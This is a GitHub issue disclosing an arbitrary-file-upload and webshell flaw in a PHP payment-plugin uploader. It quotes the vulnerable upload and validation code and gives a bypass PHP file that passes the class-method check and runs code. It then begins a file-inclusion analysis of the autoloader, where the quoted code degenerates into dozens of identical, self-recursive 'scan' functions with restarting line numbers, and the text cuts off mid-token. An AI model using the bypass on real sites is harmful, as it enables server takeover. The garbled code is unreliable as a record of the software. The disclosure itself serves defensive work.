

New issue

[Jump to bottom](#)

## There are some vulnerabilities in the upload payment plugin that can get webshell #48

[Open](#) lavon321 opened this issue on Sep 21, 2020 · 0 comments

lavon321 commented on Sep 21, 2020

When uploading payment plug-ins, attackers can bypass file verification and upload malicious php files by constructing the code of the php file in the zip compression package. Even uploading the php file without constructing the code will trigger the file containment vulnerability or upload files through competitive upload

In the Upload method in the application\service\PaymentService.php file, the file\_put\_contents function parameter is controllable

```
1194     $file = self::$payment_dir . $payment . ".php";
1195
1196     // 如果不是目录则写入文件
1197     if(!is_dir($file))
1198     {
1199         // 读取这个文件
1200         $file_size = zip_entry_filename($zip_resource,
1201             $file_content = zip_entry_read($zip_resource, $file_size);
1202         if(file_put_contents($file, $file_content) == false)
1203         {
1204             // 文件创建失败
1205             $config = self::GetPaymentConfig($payment);
1206             if($config == false)
1207             {
1208                 $error++;
1209                 $result($file);
1210             } else {
1211                 $success++;
1212             }
1213         }
1214     }
1215 }
```

But later call GetPaymentConfig method to do file verification, if the file verification is not passed, the file will be deleted

In the GetPaymentConfig method, the class\_exists function checks whether the class is defined, the class uses the fully qualified name, and then it checks whether there are three methods defined in the class

```
1216 private static function GetPaymentConfig($payment)
1217 {
1218     $payment = "payment\\" . $payment;
1219     if(class_exists($payment))
1220     {
1221         $obj = new $payment();
1222         if(method_exists($obj, 'Config') && method_exists($obj, 'Pay') && method_exists($obj, 'Respond'))
1223         {
1224             return $obj->Config();
1225         }
1226     }
1227     return false;
1228 }
```

According to this, the attacker only needs to define a class in the PHP file, define the namespace, and define the three methods mentioned above in order to pass the verification. The complete code is as follows:

```
<?php
namespace payment;
class a{
public function __construct($params = [])
{
    phpinfo();
}
public function Config()
{
}
public function Pay()
{
}
public function Respond()
{
}
}
$b=new a();
?>
```

Finally, the method is called in application\admin\controller\Payment.php

```
1216 public function Upload()
1217 {
1218     // 检查ajax请求
1219     if(!IS_AJAX)
1220     {
1221         $this->error('非法访问');
1222     }
1223
1224     // 开始操作
1225     return $paymentService->upload($this->data_request);
1226 }
```

After logging in to the background, upload the zip package containing a.php at the site management -> payment method -> upload



Visit extend/payment/a.php



Not by constructing code:

The first is file inclusion. The class\_exists function will call the autoload function by default. The definition of the autoload function is found in /thinkphp/library/think/Loader.php

```
118 public static function autoload($class)
119 {
120     if (isset(self::$classMap[$class])) {
121         return class_alias(self::$classMap[$class], $class);
122     }
123     if ($file = self::findFile($class)) {
124         // 只加载类文件
125         if (strpos($file, 'php') !== false) {
126             return false;
127         }
128         include $file;
129         return true;
130     }
131     return false;
132 }
133
134 private static function findFile($class)
135 {
136     if (empty(self::$classMap[$class])) {
137         // 类不存在
138         return self::$classMap[$class];
139     }
140     // 遍历所有目录
141     $logicalPathPer = str_replace('\\', DIRECTORY_SEPARATOR, $class);
142     $files = self::scan($class);
143     if (isset(self::$classMap[$class])) {
144         foreach (self::$classMap[$class] as $file) {
145             if (is_file($file) && $file !== $class) {
146                 return $file;
147             }
148         }
149     }
150     return false;
151 }
152
153 private static function scan($class)
154 {
155     $files = self::scan($class);
156     if (isset(self::$classMap[$class])) {
157         foreach (self::$classMap[$class] as $file) {
158             if (is_file($file) && $file !== $class) {
159                 return $file;
160             }
161         }
162     }
163     return false;
164 }
165
166 private static function scan($class)
167 {
168     $files = self::scan($class);
169     if (isset(self::$classMap[$class])) {
170         foreach (self::$classMap[$class] as $file) {
171             if (is_file($file) && $file !== $class) {
172                 return $file;
173             }
174         }
175     }
176     return false;
177 }
178
179 private static function scan($class)
180 {
181     $files = self::scan($class);
182     if (isset(self::$classMap[$class])) {
183         foreach (self::$classMap[$class] as $file) {
184             if (is_file($file) && $file !== $class) {
185                 return $file;
186             }
187         }
188     }
189     return false;
190 }
191
192 private static function scan($class)
193 {
194     $files = self::scan($class);
195     if (isset(self::$classMap[$class])) {
196         foreach (self::$classMap[$class] as $file) {
197             if (is_file($file) && $file !== $class) {
198                 return $file;
199             }
200         }
201     }
202     return false;
203 }
204
205 private static function scan($class)
206 {
207     $files = self::scan($class);
208     if (isset(self::$classMap[$class])) {
209         foreach (self::$classMap[$class] as $file) {
210             if (is_file($file) && $file !== $class) {
211                 return $file;
212             }
213         }
214     }
215     return false;
216 }
217
218 private static function scan($class)
219 {
220     $files = self::scan($class);
221     if (isset(self::$classMap[$class])) {
222         foreach (self::$classMap[$class] as $file) {
223             if (is_file($file) && $file !== $class) {
224                 return $file;
225             }
226         }
227     }
228     return false;
229 }
230
231 private static function scan($class)
232 {
233     $files = self::scan($class);
234     if (isset(self::$classMap[$class])) {
235         foreach (self::$classMap[$class] as $file) {
236             if (is_file($file) && $file !== $class) {
237                 return $file;
238             }
239         }
240     }
241     return false;
242 }
243
244 private static function scan($class)
245 {
246     $files = self::scan($class);
247     if (isset(self::$classMap[$class])) {
248         foreach (self::$classMap[$class] as $file) {
249             if (is_file($file) && $file !== $class) {
250                 return $file;
251             }
252         }
253     }
254     return false;
255 }
256
257 private static function scan($class)
258 {
259     $files = self::scan($class);
260     if (isset(self::$classMap[$class])) {
261         foreach (self::$classMap[$class] as $file) {
262             if (is_file($file) && $file !== $class) {
263                 return $file;
264             }
265         }
266     }
267     return false;
268 }
269
270 private static function scan($class)
271 {
272     $files = self::scan($class);
273     if (isset(self::$classMap[$class])) {
274         foreach (self::$classMap[$class] as $file) {
275             if (is_file($file) && $file !== $class) {
276                 return $file;
277             }
278         }
279     }
280     return false;
281 }
282
283 private static function scan($class)
284 {
285     $files = self::scan($class);
286     if (isset(self::$classMap[$class])) {
287         foreach (self::$classMap[$class] as $file) {
288             if (is_file($file) && $file !== $class) {
289                 return $file;
290             }
291         }
292     }
293     return false;
294 }
295
296 private static function scan($class)
297 {
298     $files = self::scan($class);
299     if (isset(self::$classMap[$class])) {
300         foreach (self::$classMap[$class] as $file) {
301             if (is_file($file) && $file !== $class) {
302                 return $file;
303             }
304         }
305     }
306     return false;
307 }
308
309 private static function scan($class)
310 {
311     $files = self::scan($class);
312     if (isset(self::$classMap[$class])) {
313         foreach (self::$classMap[$class] as $file) {
314             if (is_file($file) && $file !== $class) {
315                 return $file;
316             }
317         }
318     }
319     return false;
320 }
321
322 private static function scan($class)
323 {
324     $files = self::scan($class);
325     if (isset(self::$classMap[$class])) {
326         foreach (self::$classMap[$class] as $file) {
327             if (is_file($file) && $file !== $class) {
328                 return $file;
329             }
330         }
331     }
332     return false;
333 }
334
335 private static function scan($class)
336 {
337     $files = self::scan($class);
338     if (isset(self::$classMap[$class])) {
339         foreach (self::$classMap[$class] as $file) {
340             if (is_file($file) && $file !== $class) {
341                 return $file;
342             }
343         }
344     }
345     return false;
346 }
347
348 private static function scan($class)
349 {
350     $files = self::scan($class);
351     if (isset(self::$classMap[$class])) {
352         foreach (self::$classMap[$class] as $file) {
353             if (is_file($file) && $file !== $class) {
354                 return $file;
355             }
356         }
357     }
358     return false;
359 }
360
361 private static function scan($class)
362 {
363     $files = self::scan($class);
364     if (isset(self::$classMap[$class])) {
365         foreach (self::$classMap[$class] as $file) {
366             if (is_file($file) && $file !== $class) {
367                 return $file;
368             }
369         }
370     }
371     return false;
372 }
373
374 private static function scan($class)
375 {
376     $files = self::scan($class);
377     if (isset(self::$classMap[$class])) {
378         foreach (self::$classMap[$class] as $file) {
379             if (is_file($file) && $file !== $class) {
380                 return $file;
381             }
382         }
383     }
384     return false;
385 }
386
387 private static function scan($class)
388 {
389     $files = self::scan($class);
390     if (isset(self::$classMap[$class])) {
391         foreach (self::$classMap[$class] as $file) {
392             if (is_file($file) && $file !== $class) {
393                 return $file;
394             }
395         }
396     }
397     return false;
398 }
399
400 private static function scan($class)
401 {
402     $files = self::scan($class);
403     if (isset(self::$classMap[$class])) {
404         foreach (self::$classMap[$class] as $file) {
405             if (is_file($file) && $file !== $class) {
406                 return $file;
407             }
408         }
409     }
410     return false;
411 }
412
413 private static function scan($class)
414 {
415     $files = self::scan($class);
416     if (isset(self::$classMap[$class])) {
417         foreach (self::$classMap[$class] as $file) {
418             if (is_file($file) && $file !== $class) {
419                 return $file;
420             }
421         }
422     }
423     return false;
424 }
425
426 private static function scan($class)
427 {
428     $files = self::scan($class);
429     if (isset(self::$classMap[$class])) {
430         foreach (self::$classMap[$class] as $file) {
431             if (is_file($file) && $file !== $class) {
432                 return $file;
433             }
434         }
435     }
436     return false;
437 }
438
439 private static function scan($class)
440 {
441     $files = self::scan($class);
442     if (isset(self::$classMap[$class])) {
443         foreach (self::$classMap[$class] as $file) {
444             if (is_file($file) && $file !== $class) {
445                 return $file;
446             }
447         }
448     }
449     return false;
450 }
451
452 private static function scan($class)
453 {
454     $files = self::scan($class);
455     if (isset(self::$classMap[$class])) {
456         foreach (self::$classMap[$class] as $file) {
457             if (is_file($file) && $file !== $class) {
458                 return $file;
459             }
460         }
461     }
462     return false;
463 }
464
465 private static function scan($class)
466 {
467     $files = self::scan($class);
468     if (isset(self::$classMap[$class])) {
469         foreach (self::$classMap[$class] as $file) {
470             if (is_file($file) && $file !== $class) {
471                 return $file;
472             }
473         }
474     }
475     return false;
476 }
477
478 private static function scan($class)
479 {
480     $files = self::scan($class);
481     if (isset(self::$classMap[$class])) {
482         foreach (self::$classMap[$class] as $file) {
483             if (is_file($file) && $file !== $class) {
484                 return $file;
485             }
486         }
487     }
488     return false;
489 }
490
491 private static function scan($class)
492 {
493     $files = self::scan($class);
494     if (isset(self::$classMap[$class])) {
495         foreach (self::$classMap[$class] as $file) {
496             if (is_file($file) && $file !== $class) {
497                 return $file;
498             }
499         }
500     }
501     return false;
502 }
503
504 private static function scan($class)
505 {
506     $files = self::scan($class);
507     if (isset(self::$classMap[$class])) {
508         foreach (self::$classMap[$class] as $file) {
509             if (is_file($file) && $file !== $class) {
510                 return $file;
511             }
512         }
513     }
514     return false;
515 }
516
517 private static function scan($class)
518 {
519     $files = self::scan($class);
520     if (isset(self::$classMap[$class])) {
521         foreach (self::$classMap[$class] as $file) {
522             if (is_file($file) && $file !== $class) {
523                 return $file;
524             }
525         }
526     }
527     return false;
528 }
529
530 private static function scan($class)
531 {
532     $files = self::scan($class);
533     if (isset(self::$classMap[$class])) {
534         foreach (self::$classMap[$class] as $file) {
535             if (is_file($file) && $file !== $class) {
536                 return $file;
537             }
538         }
539     }
540     return false;
541 }
542
543 private static function scan($class)
544 {
545     $files = self::scan($class);
546     if (isset(self::$classMap[$class])) {
547         foreach (self::$classMap[$class] as $file) {
548             if (is_file($file) && $file !== $class) {
549                 return $file;
550             }
551         }
552     }
553     return false;
554 }
555
556 private static function scan($class)
557 {
558     $files = self::scan($class);
559     if (isset(self::$classMap[$class])) {
560         foreach (self::$classMap[$class] as $file) {
561             if (is_file($file) && $file !== $class) {
562                 return $file;
563             }
564         }
565     }
566     return false;
567 }
568
569 private static function scan($class)
570 {
571     $files = self::scan($class);
572     if (isset(self::$classMap[$class])) {
573         foreach (self::$classMap[$class] as $file) {
574             if (is_file($file) && $file !== $class) {
575                 return $file;
576             }
577         }
578     }
579     return false;
580 }
581
582 private static function scan($class)
583 {
584     $files = self::scan($class);
585     if (isset(self::$classMap[$class])) {
586         foreach (self::$classMap[$class] as $file) {
587             if (is_file($file) && $file !== $class) {
588                 return $file;
589             }
590         }
591     }
592     return false;
593 }
594
595 private static function scan($class)
596 {
597     $files = self::scan($class);
598     if (isset(self::$classMap[$class])) {
599         foreach (self::$classMap[$class] as $file) {
600             if (is_file($file) && $file !== $class) {
601                 return $file;
602             }
603         }
604     }
605     return false;
606 }
607
608 private static function scan($class)
609 {
610     $files = self::scan($class);
611     if (isset(self::$classMap[$class])) {
612         foreach (self::$classMap[$class] as $file) {
613             if (is_file($file) && $file !== $class) {
614                 return $file;
615             }
616         }
617     }
618     return false;
619 }
620
621 private static function scan($class)
622 {
623     $files = self::scan($class);
624     if (isset(self::$classMap[$class])) {
625         foreach (self::$classMap[$class] as $file) {
626             if (is_file($file) && $file !== $class) {
627                 return $file;
628             }
629         }
630     }
631     return false;
632 }
633
634 private static function scan($class)
635 {
636     $files = self::scan($class);
637     if (isset(self::$classMap[$class])) {
638         foreach (self::$classMap[$class] as $file) {
639             if (is_file($file) && $file !== $class) {
640                 return $file;
641             }
642         }
643     }
644     return false;
645 }
646
647 private static function scan($class)
648 {
649     $files = self::scan($class);
650     if (isset(self::$classMap[$class])) {
651         foreach (self::$classMap[$class] as $file) {
652             if (is_file($file) && $file !== $class) {
653                 return $file;
654             }
655         }
656     }
657     return false;
658 }
659
660 private static function scan($class)
661 {
662     $files = self::scan($class);
663     if (isset(self::$classMap[$class])) {
664         foreach (self::$classMap[$class] as $file) {
665             if (is_file($file) && $file !== $class) {
666                 return $file;
667             }
668         }
669     }
670     return false;
671 }
672
673 private static function scan($class)
674 {
675     $files = self::scan($class);
676     if (isset(self::$classMap[$class])) {
677         foreach (self::$classMap[$class] as $file) {
678             if (is_file($file) && $file !== $class) {
679                 return $file;
680             }
681         }
682     }
683     return false;
684 }
685
686 private static function scan($class)
687 {
688     $files = self::scan($class);
689     if (isset(self::$classMap[$class])) {
690         foreach (self::$classMap[$class] as $file) {
691             if (is_file($file) && $file !== $class) {
692                 return $file;
693             }
694         }
695     }
696     return false;
697 }
698
699 private static function scan($class)
700 {
701     $files = self::scan($class);
702     if (isset(self::$classMap[$class])) {
703         foreach (self::$classMap[$class] as $file) {
704             if (is_file($file) && $file !== $class) {
705                 return $file;
706             }
707         }
708     }
709     return false;
710 }
711
712 private static function scan($class)
713 {
714     $files = self::scan($class);
715     if (isset(self::$classMap[$class])) {
716         foreach (self::$classMap[$class] as $file) {
717             if (is_file($file) && $file !== $class) {
718                 return $file;
719             }
720         }
721     }
722     return false;
723 }
724
725 private static function scan($class)
726 {
727     $files = self::scan($class);
728     if (isset(self::$classMap[$class])) {
729         foreach (self::$classMap[$class] as $file) {
730             if (is_file($file) && $file !== $class) {
731                 return $file;
732             }
733         }
734     }
735     return false;
736 }
737
738 private static function scan($class)
739 {
740     $files = self::scan($class);
741     if (isset(self::$classMap[$class])) {
742         foreach (self::$classMap[$class] as $file) {
743             if (is_file($file) && $file !== $class) {
744                 return $file;
745             }
746         }
747     }
748     return false;
749 }
750
751 private static function scan($class)
752 {
753     $files = self::scan($class);
754     if (isset(self::$classMap[$class])) {
755         foreach (self::$classMap[$class] as $file) {
756             if (is_file($file) && $file !== $class) {
757                 return $file;
758             }
759         }
760     }
761     return false;
762 }
763
764 private static function scan($class)
765 {
766     $files = self::scan($class);
767     if (isset(self::$classMap[$class])) {
768         foreach (self::$classMap[$class] as $file) {
769             if (is_file($file) && $file !== $class) {
770                 return $file;
771             }
772         }
773     }
774     return false;
775 }
776
777 private static function scan($class)
778 {
779     $files = self::scan($class);
780     if (isset(self::$classMap[$class])) {
781         foreach (self::$classMap[$class] as $file) {
782             if (is_file($file) && $file !== $class) {
783                 return $file;
784             }
785         }
786     }
787     return false;
788 }
789
790 private static function scan($class)
791 {
792     $files = self::scan($class);
793     if (isset(self::$classMap[$class])) {
794         foreach (self::$classMap[$class] as $file) {
795             if (is_file($file) && $file !== $class) {
796                 return $file;
797             }
798         }
799     }
800     return false;
801 }
802
803 private static function scan($class)
804 {
805     $files = self::scan($class);
806     if (isset(self::$classMap[$class])) {
807         foreach (self::$classMap[$class] as $file) {
808             if (is_file($file) && $file !== $class) {
809                 return $file;
810             }
811         }
812     }
813     return false;
814 }
815
816 private static function scan($class)
817 {
818     $files = self::scan($class);
819     if (isset(self::$classMap[$class])) {
820         foreach (self::$classMap[$class] as $file) {
821             if (is_file($file) && $file !== $class) {
822                 return $file;
823             }
824         }
825     }
826     return false;
827 }
828
829 private static function scan($class)
830 {
831     $files = self::scan($class);
832     if (isset(self::$classMap[$class])) {
833         foreach (self::$classMap[$class] as $file) {
834             if (is_file($file) && $file !== $class) {
835                 return $file;
836             }
837         }
838     }
839     return false;
840 }
841
842 private static function scan($class)
843 {
844     $files = self::scan($class);
845     if (isset(self::$classMap[$class])) {
846         foreach (self::$classMap[$class] as $file) {
847             if (is_file($file) && $file !== $class) {
848                 return $file;
849             }
850         }
851     }
852     return false;
853 }
854
855 private static function scan($class)
856 {
857     $files = self::scan($class);
858     if (isset(self::$classMap[$class])) {
859         foreach (self::$classMap[$class] as $file) {
860             if (is_file($file) && $file !== $class) {
861                 return $file;
862             }
863         }
864     }
865     return false;
866 }
867
868 private static function scan($class)
869 {
870     $files = self::scan($class);
871     if (isset(self::$classMap[$class])) {
872         foreach (self::$classMap[$class] as $file) {
873             if (is_file($file) && $file !== $class) {
874                 return $file;
875             }
876         }
877     }
878     return false;
879 }
880
881 private static function scan($class)
882 {
883     $files = self::scan($class);
884     if (isset(self::$classMap[$class])) {
885         foreach (self::$classMap[$class] as $file) {
886             if (is_file($file) && $file !== $class) {
887                 return $file;
888             }
889         }
890     }
891     return false;
892 }
893
894 private static function scan($class)
895 {
896     $files = self::scan($class);
897     if (isset(self::$classMap[$class])) {
898         foreach (self::$classMap[$class] as $file) {
899             if (is_file($file) && $file !== $class) {
900                 return $file;
901             }
902         }
903     }
904     return false;
905 }
906
907 private static function scan($class)
908 {
909     $files = self::scan($class);
910     if (isset(self::$classMap[$class])) {
911         foreach (self::$classMap[$class] as $file) {
912             if (is_file($file) && $file !== $class) {
913                 return $file;
914             }
915         }
916     }
917     return false;
918 }
919
920 private static function scan($class)
921 {
922     $files = self::scan($class);
923     if (isset(self::$classMap[$class])) {
924         foreach (self::$classMap[$class] as $file) {
925             if (is_file($file) && $file !== $class) {
926                 return $file;
927             }
928         }
929     }
930     return false;
931 }
932
933 private static function scan($class)
934 {
935     $files = self::scan($class);
936     if (isset(self::$classMap[$class])) {
937         foreach (self::$classMap[$class] as $file) {
938             if (is_file($file) && $file !== $class) {
939                 return $file;
940             }
941         }
942     }
943     return false;
944 }
945
946 private static function scan($class)
947 {
948     $files = self::scan($class);
949     if (isset(self::$classMap[$class])) {
950         foreach (self::$classMap[$class] as $file) {
951             if (is_file($file) && $file !== $class) {
952                 return $file;
953             }
954         }
955     }
956     return false;
957 }
958
959 private static function scan($class)
960 {
961     $files = self::scan($class);
962     if (isset(self::$classMap[$class])) {
963         foreach (self::$classMap[$class] as $file) {
964             if (is_file($file) && $file !== $class) {
965                 return $file;
966             }
967         }
968     }
969     return false;
970 }
971
972 private static function scan($class)
973 {
974     $files = self::scan($class);
975     if (isset(self::$classMap[$class])) {
976         foreach (self::$classMap[$class] as $file) {
977             if (is_file($file) && $file !== $class) {
978                 return $file;
979             }
980         }
981     }
982     return false;
983 }
984
985 private static function scan($class)
986 {
987     $files = self::scan($class);
988     if (isset(self::$classMap[$class])) {
989         foreach (self::$classMap[$class] as $file) {
990             if (is_file($file) && $file !== $class) {
991                 return $file;
992             }
993         }
994     }
995     return false;
996 }
997
998 private static function scan($class)
999 {
1000     $files = self::scan($class);
1001     if (isset(self::$classMap[$class])) {
1002         foreach (self::$classMap[$class] as $file) {
1003             if (is_file($file) && $file !== $class) {
1004                 return $file;
1005             }
1006         }
1007     }
1008     return false;
1009 }
1010
1011 private static function scan($class)
1012 {
1013     $files = self::scan($class);
1014     if (isset(self::$classMap[$class])) {
1015         foreach (self::$classMap[$class] as $file) {
1016             if (is_file($file) && $file !== $class) {
1017                 return $file;
1018             }
1019         }
1020     }
1021     return false;
1022 }
1023
1024 private static function scan($class)
1025 {
1026     $files = self::scan($class);
1027     if (isset(self::$classMap[$class])) {
1028         foreach (self::$classMap[$class] as $file) {
1029             if (is_file($file) && $file !== $class) {
1030                 return $file;
1031             }
1032         }
1033     }
1034     return false;
1035 }
1036
1037 private static function scan($class)
1038 {
1039     $files = self::scan($class);
1040     if (isset(self::$classMap[$class])) {
1041         foreach (self::$classMap[$class] as $file) {
1042             if (is_file($file) && $file !== $class) {
1043                 return $file;
1044             }
1045         }
1046     }
1047     return false;
1048 }
1049
1050 private static function scan($class)
1051 {
1052     $files = self::scan($class);
1053     if (isset(self::$classMap[$class])) {
1054         foreach (self::$classMap[$class] as $file) {
1055             if (is_file($file) && $file !== $class) {
1056                 return $file;
1057             }
1058         }
1059     }
1060     return false;
1061 }
1062
1063 private static function scan($class)
1064 {
1065     $files = self::scan($class);
1066     if (isset(self::$classMap[$class])) {
1067         foreach (self::$classMap[$class] as $file) {
1068             if (is_file($file) && $file !== $class) {
1069                 return $file;
1070             }
1071         }
1072     }
1073     return false;
1074 }
1075
1076 private static function scan($class)
1077 {
1078     $files = self::scan($class);
1079     if (isset(self::$classMap[$class])) {
1080         foreach (self::$classMap[$class] as $file) {
1081             if (is_file($file) && $file !== $class) {
1082                 return $file;
1083             }
1084         }
1085     }
1086     return false;
1087 }
1088
1089 private static function scan($class)
1090 {
1091     $files = self::scan($class);
1092     if (isset(self::$classMap[$class])) {
1093         foreach (self::$classMap[$class] as $file) {
1094             if (is_file($file) && $file !== $class) {
1095                 return $file;
1096             }
1097         }
1098     }
1099     return false;
1100 }
1101
1102 private static function scan($class)
1103 {
1104     $files = self::scan($class);
1105     if (isset(self::$classMap[$class])) {
1106         foreach (self::$classMap[$class] as $file) {
1107             if (is_file($file) && $file !== $class) {
1108                 return $file;
1109             }
1110         }
1111     }
1112     return false;
1113 }
1114
1115 private static function scan($class)
1116 {
1117     $files = self::scan($class);
1118     if (isset(self::$classMap[$class])) {
1119         foreach (self::$classMap[$class] as $file) {
1120             if (is_file($file) && $file !== $class) {
1121                 return $file;
1122             }
1123         }
1124     }
1125     return false;
1126 }
1127
1128 private static function scan($class)
1129 {
1130     $files = self::scan($class);
1131     if (isset(self::$classMap[$class])) {
1132         foreach (self::$classMap[$class] as $file) {
1133             if (is_file($file) && $file !== $class) {
1134                 return $file;
1135             }
1136         }
1137     }
1138     return false;
1139 }
1140
1141 private static function scan($class)
1142 {
1143     $files = self::scan($class);
1144     if (isset(self::$classMap[$class])) {
1145         foreach (self::$classMap[$class] as $file) {
1146             if (is_file($file) && $file !== $class) {
1147                 return $file;
1148             }
1149         }
1150     }
1151     return false;
1152 }
1153
1154 private static function scan($class)
1155 {
1156     $files = self::scan($class);
1157     if (isset(self::$classMap[$class])) {
1158         foreach (self::$classMap[$class] as $file) {
1159             if (is_file($file) && $file !== $class) {
1160                 return $file;
1161             }
1162         }
1163     }
1164     return false;
1165 }
1166
1167 private static function scan($class)
1168 {
1169     $files = self::scan($class);
1170     if (isset(self::$classMap[$class])) {
1171         foreach (self::$classMap[$class] as $file) {
1172             if (is_file($file) && $file !== $class) {
1173                 return $file;
1174             }
1175         }
1176     }
1177     return false;
1178 }
1179
1180 private static function scan($class)
1181 {
1182     $files = self::scan($class);
1183     if (isset(self::$classMap[$class])) {
1184         foreach (self::$classMap[$class] as $file) {
1185             if (is_file($file) && $file !== $class) {
1186                 return $file;
1187             }
1188         }
1189     }
1190     return false;
1191 }
1192
1193 private static function scan($class)
1194 {
1195     $files = self::scan($class);
1196     if (isset(self::$classMap[$class])) {
1197         foreach (self::$classMap[$class] as $file) {
1198             if (is_file($file) && $file !== $class) {
1199                 return $file;
1200             }
1201         }
1202     }
1203     return false;
1204 }
1205
1206 private static function scan($class)
1207 {
1208     $files = self::scan($class);
1209     if (isset(self::$classMap[$class])) {
1210         foreach (self::$classMap[$class] as $file) {
1211             if (is_file($file) && $file !== $class) {
1212                 return $file;
1213             }
1214         }
1215     }
1216     return false;
1217 }
1218
1219 private static function scan($class)
1220 {
1221     $files = self::scan($class);
1222     if (isset(self::$classMap[$class])) {
1223         foreach (self::$classMap[$class] as $file) {
1224             if (is_file($file) && $file !== $class) {
1225                 return $file;
1226             }
1227         }
1228     }
1229     return false;
1230 }
1231
1232 private static function scan($class)
1233 {
1234     $files = self::scan($class);
1235     if (isset(self::$classMap[$class])) {
1236         foreach (self::$classMap[$class] as $file) {
1237             if (is_file($file) && $file !== $class) {
1238                 return $
```

